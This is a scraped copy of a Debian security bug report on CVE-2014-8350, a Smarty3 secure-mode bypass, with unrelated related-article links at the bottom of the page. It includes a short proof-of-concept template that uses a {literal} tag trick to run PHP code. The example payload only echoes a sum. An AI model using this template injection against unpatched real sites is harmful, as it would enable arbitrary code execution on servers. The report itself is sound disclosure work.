smarty3: CVE-2014-8350: secure mode bypass

简介: Package: smarty3Version: All below 3.1.21Severity: importantSmarty secure mode should allow...
Package: smarty3
Version: All below 3.1.21
Severity: important

Smarty secure mode should allow untrusted users to write templates,
without allowing them to execute arbitrary PHP code. However, all
smarty3 versions in Debian (sid, Jessie, stable, oldstable) currently
has a security hole allowing arbitrary PHP code execution if you can
edit templates.

Example:

test.php:
<?php
require_once('/home/thue/smarty/libs/SmartyBC.class.php');
$smarty = new Smarty();

$smarty->setTemplateDir('templates/');
$smarty->setCompileDir('templates_c/');
$smarty->enableSecurity();
$smarty->force_compile = true;
$tpl = $smarty->createTemplate('test.tpl');
$tpl->compileTemplateSource();
$smarty->display('test.tpl');
?>

templates/test.tpl:
{literal}<{/literal}script language=php>echo 1+1;</script>

If secure mode worked, that should output
   <script language=php>echo 1+1;</script>
In smarty3<3.1.21 it outputs
   2   

目录
相关文章
|
网络安全 数据安全/隐私保护
basic-ftp 550 Can't check for file existence
basic-ftp 550 Can't check for file existence
|
7月前
|
安全 Apache PHP
文件上传--Upload-labs--Pass09(在某些版本里是Pass10)--点+空格+点 绕过
文件上传--Upload-labs--Pass09(在某些版本里是Pass10)--点+空格+点 绕过
|
Unix 应用服务中间件 nginx
安装nginx:src/os/unix/ngx_user.c:26:7: error: ‘struct crypt_data’ has no member named ‘curren
安装nginx:src/os/unix/ngx_user.c:26:7: error: ‘struct crypt_data’ has no member named ‘curren
1008 1
安装nginx:src/os/unix/ngx_user.c:26:7: error: ‘struct crypt_data’ has no member named ‘curren
|
安全 Shell PHP
一次ThinkPHP引发的bypass_disable_functions
一次ThinkPHP引发的bypass_disable_functions
sublime 打开报错 Error loading syntax file “Packages/HTML/HTML.sublime-syntax“: Apparent recursion withi
卸载步骤 打开sublime工具,按shift+command+p,打开输入框 输入remove package 输入 JavaScriptNext-ES6 Syntax,找到此插件,选中,enter卸载 重启sublime,弹出框消失
578 0
|
Web App开发 JavaScript 安全
Please open the about:config page and disable the "security.fileuri.strict_origin_policy" option
Please open the about:config page and disable the "security.fileuri.strict_origin_policy" option
218 0
Please open the about:config page and disable the "security.fileuri.strict_origin_policy" option